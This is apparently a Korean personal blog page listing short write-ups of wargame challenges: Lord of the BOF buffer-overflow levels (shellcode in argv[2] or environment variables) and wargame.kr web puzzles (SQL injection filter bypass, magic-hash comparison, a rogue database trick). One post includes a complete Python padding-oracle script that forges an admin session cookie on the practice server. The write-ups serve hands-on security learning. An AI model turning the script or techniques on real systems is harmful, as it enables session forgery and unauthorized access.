'분류 전체보기'에 해당되는 글 1000건

코드를 보면 이전단계에서 argv[0] 즉 실행파일명의 길이를 체크하는 로직이 추가됬다. 실행파일명 길이만 77글자로 맞춰준 다음 이전과 같이 argv[2] 영역에 쉘코드 올려놓고 익스하면 된다.




잘나온당.

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB troll -> vampire  (0) 2018.01.09
LOB orge -> troll  (0) 2018.01.08
LOB wolfman -> darkelf  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
LOB goblin -> orc  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 argv[1]에 길이제한을 걸어놨다. 근데 이전단계에서도 이미 argv[1]은 48자까지만 값이 들어가고 argv[2]에 쉘코드를 올렸었기 때문에 별 문제가 안된다. 그냥 이전단계와 똑같이 진행해주면 된다.




잘 나온당.

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB orge -> troll  (0) 2018.01.08
LOB darkelf -> orge  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
LOB goblin -> orc  (0) 2018.01.08
LOB cobolt -> goblin  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 이전단계에서 버퍼가 초기화되는 코드가 추가됬다. 이전단계에서 이미 버퍼에다 쉘코드 안올리고 argv[2] 영역에 올려서 익스했기 때문에 그대로 해주면 된다.




잘나온당.

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB darkelf -> orge  (0) 2018.01.08
LOB wolfman -> darkelf  (0) 2018.01.08
LOB goblin -> orc  (0) 2018.01.08
LOB cobolt -> goblin  (0) 2018.01.08
LOB gremlin -> cobolt  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 다음과 같이 환경변수를 모두 초기화 한다. 그렇다면 쉘코드를 넣을 수 있는 곳이 buf인데 버퍼값이 작아 NOP를 많이 넣을 수 없고 스택주소가 약간의 오차를 가지고 변하고있어 성공확률이 작았다. 그래서 다른곳에 넣을 곳을 찾아야했는데 소스를 잘 보면 인자값이 argc != 2 가 아니고 argc < 2 였다. 즉 인자값이 1개가아닌 2개이상이 되어도 된다는 거다. 그렇다면 argv[2]영역에 NOP를 미친듯이 박아놓고 쉘코드 올린담에 익스하면 된다.



잘나온당.

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB wolfman -> darkelf  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
LOB cobolt -> goblin  (0) 2018.01.08
LOB gremlin -> cobolt  (0) 2018.01.08
LOB gate -> gremlin  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 로그인 창하나가 나오고 로그인해보면 다음과 같이 세션을 할당받은 후 다시 메인페이지로 요청을 하는데 이 때 세션값을 통해 guest로 로그인된 것을 확인을 하는 것을 볼 수 있고 admin으로 로그인을 하면 된다.

 

id password 입력할때 injection일 터질거라고 생각하고 시도해봤지만 통하지 않았고 세션값을 어떻게 조작해야될거란걸 알 수 있었다.

 

세션값을 보면 base64로 인코딩된 값 2개가 붙어있는걸 볼 수 있고 임의의값으로 변경을해보면 패딩이 실패했다는 메시지가 뜬다.

 

딱봐도 Oracle Padding attack이다.

 

로직을 판단해보면 로그인 후 할당받은 base64인코딩된 세션값은 IV와 IV와 평문text를 통해 암호화된 값이라고 판단할 수 있고 Oracle Padding Attack을 통해 IntermedirayValue 값을 알아낸 후 원본 평문 텍스트를 구하여 이를 서버가 admin으로 판단할 수 있는 값으로 변경한 다음 IV를 다시 재세팅해서 보내주면 될 것 같았다.

코드를 짜서 돌려보니 다음과 같이 나왔다.

 

 

코드


import requests

def exploit(payload):
url = "http://wargame.kr:8080/dun_worry_about_the_vase/main.php"
headers = {"Cookie":"L0g1n="+payload}
result = requests.get(url,headers=headers).text
print result
if "padding error" not in result:
return True
else:
return False


iv = ["\x00","\x00","\x00","\x00","\x00","\x00","\x00","\x00"]
wonbon_iv = "tmp8cbAU4IA=".decode("base64").encode("hex")
enc = "aFAD3Z6xbrU="
iv_xor_env = ""
for j in range(1,9):
for i in range(0,257):
iv[8-j] = chr(i)
brute_iv = ("".join(iv)).encode("base64").replace("\n","")
if exploit(brute_iv+enc)==True:
iv_xor_env += chr(j^i)
print iv_xor_env[::-1].encode("hex")

for k in range(0,j):
iv[7-k] = chr(ord(iv_xor_env[k])^(j+1))
print "".join(iv).encode("hex")
break

iv_xor_env = iv_xor_env[::-1].encode("hex")
dec_text = ""
exploit_iv = ""
for i in range(0,len(wonbon_iv),2):
dec_text += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + wonbon_iv[i:i + 2], 16))
print dec_text
replace_text = dec_text.replace("guest","admin").encode("hex")
for i in range(0,len(iv_xor_env),2):
exploit_iv += chr(int("0x" + iv_xor_env[i:i + 2], 16) ^ int("0x" + replace_text[i:i + 2], 16))

replace_text = exploit_iv.encode("base64").replace("\n","")
print replace_text

exploit(replace_text+enc)
 

Oracle Padding Attack 개념익힌 후 연습겸 풀어봤는데 내가봐도 코드가 더럽다. ㅋ 코딩좀 많이많이 해봐야겠다. 

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr zairo  (0) 2018.05.09
wargame.kr Crypto Crackme Basic  (0) 2018.05.09
wargame.kr mini TBR  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Secuinside CTF 문제였던 것 같다. 소스를 볼수 있는 주소가 있어서 다운받아봤다.

Functions.php 파일을 보면 다음과 같이 DB에서 뽑아온 path값이 hacked가 되어야 한다.  

get_layout을 호출하는 index.php를 보면 extract를 통해 get방식으로 넘긴 값을 변수화 하고 이를 통해 세팅된 $_skin 변수값이 get_layout함수의 인자로 넘어간다.

다음과 같이 _skin값을 조작해서 hacked를 리턴시키려 했는데 magic_quotes_gpc가 걸려있는지 제대로 안먹혔다.

그래서 아예 디비설정자체를 내 DB로 연결시켜서 hacked를 리턴시키도록 만들면 될 것 같았다.
먼저 테이블이랑 컬럼 데이터 세팅해주고 외부에서 붙을 수 있도록 권한 설정을 해줬다.

마지막으로 요렇게 날려주면 인증값이 날라온당.


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr Crypto Crackme Basic  (0) 2018.05.09
wargame.kr dun worry about the vase  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
Wargame.kr keypad CrackMe  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 소스만 떡하니 나와있다.

분석해보면 pw랑 flags를 알아야 된다. 카운트 제한때문에 블라인드는 안된다.
요런식으로 쿼리를 날리면 패스워드 컬럼명을 알아낼 수 있다.

이제 id랑 pw를 구한다.

마지막으로 flag 구하면 끝난다.

id , pw , flag 값 넘기면 인증flag가 나온다.


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr dun worry about the vase  (0) 2018.01.08
wargame.kr mini TBR  (0) 2018.01.08
wargame.kr jff3_magic  (0) 2018.01.08
Wargame.kr keypad CrackMe  (0) 2018.01.04
wargame.kr QNA  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

wargame.kr 24번 jff3_magic 이라는 문제다.

점수는 800 point.

즐기고 가라는 부분인 것 같다. 시작해보자.

들어가보면 로그인화면이 나오고 여러 메뉴들이 존재한다. 근데 뭘해도 다시 원래 페이지로 돌아간다. 

이것저것 해보니 메뉴 버튼을 눌렀을대 no라는 인자를 넘기는데 여기에 쿼리 입력이 가능했다.


소스에선 딱히 볼게 없었꼬 이를 바탕으로 이것저것 값을 넣어 보내다보니 no=-1 || 1 이런식으로 넘겨줬을 때 admin 이라는 아이디를 보여줬다.  or,substr 등 필터링이 되있는 부분들이 좀 있어서 우회한다고 시간이 좀 걸렸다.

다음은 필자가 짠 파이썬 스크립트이다. 먼저 length는 막혀있지 않기때문에 pw의 길이를 구한다. 


다음으로 substr이 막혀있기 때문에 REGEXP라는 정규식 함수를 이용해 값을 구했다. 이부분에서 우회

방법을 찾느라 시간이 많이 들어갔다.

근데 키 값을 구하고 입력해보니 틀렸다고 하면서 이상한 값을 뱉어준다. 그 값을 구글에 쳐보니 Haval128,3 이라는 암호화 방식이란다.


이 때 예전에 한번 풀어봤던 것 처럼 암호화 했을 때 0e방식으로 나오면 지수형으로 비교가 되 type 비

교 취약점으로 인해 조건이 참이 되었던 magic hash가 떠올랐다. 혹시해서 Haval128,3에도 그런값이

있나 찾아봤다. 역시나 있었다. 그래서 입력해 보니 안된다. ..? 뭔가 싶어서 Haval,128,4 128,5도 입력

해봤는데 Haval 128,5의 Magic hash 값을 넣으니 플래그를 뱉었다. 이부분은 왜 3이라고 찾았는데 5

에서 됬는지 모르겠지만 일단 중요한 문제는 아닌 것 같다. 

어쨌든 성공!


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr mini TBR  (0) 2018.01.08
wargame.kr adm1nkyj  (0) 2018.01.08
Wargame.kr keypad CrackMe  (0) 2018.01.04
wargame.kr QNA  (0) 2018.01.04
wargame.kr phc? c?  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 이전단계와 같이 버퍼에 쉘코드를 넣을 수 없다. 버퍼에 입력되는 값이 실행파일의 인자값에서 사용자 입력값으로 바뀌었다는 것 빼고는 달라진게 없다.


입력하는 형식만 바꿔줘서 이전과 같이 환경변수에 쉘코드 올린상태로 익스하면 된다.



'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB wolfman -> darkelf  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
LOB goblin -> orc  (0) 2018.01.08
LOB gremlin -> cobolt  (0) 2018.01.08
LOB gate -> gremlin  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

코드를 보면 버퍼 크기가 작아 버퍼에 쉘코드만 못올릴뿐 일반적인 bof다. 환경변수에 쉘코드 올려놓고 ret덮어주면 된다.



잘나온당.

'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글

LOB wolfman -> darkelf  (0) 2018.01.08
LOB orc -> wolfman  (0) 2018.01.08
LOB goblin -> orc  (0) 2018.01.08
LOB cobolt -> goblin  (0) 2018.01.08
LOB gate -> gremlin  (0) 2018.01.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,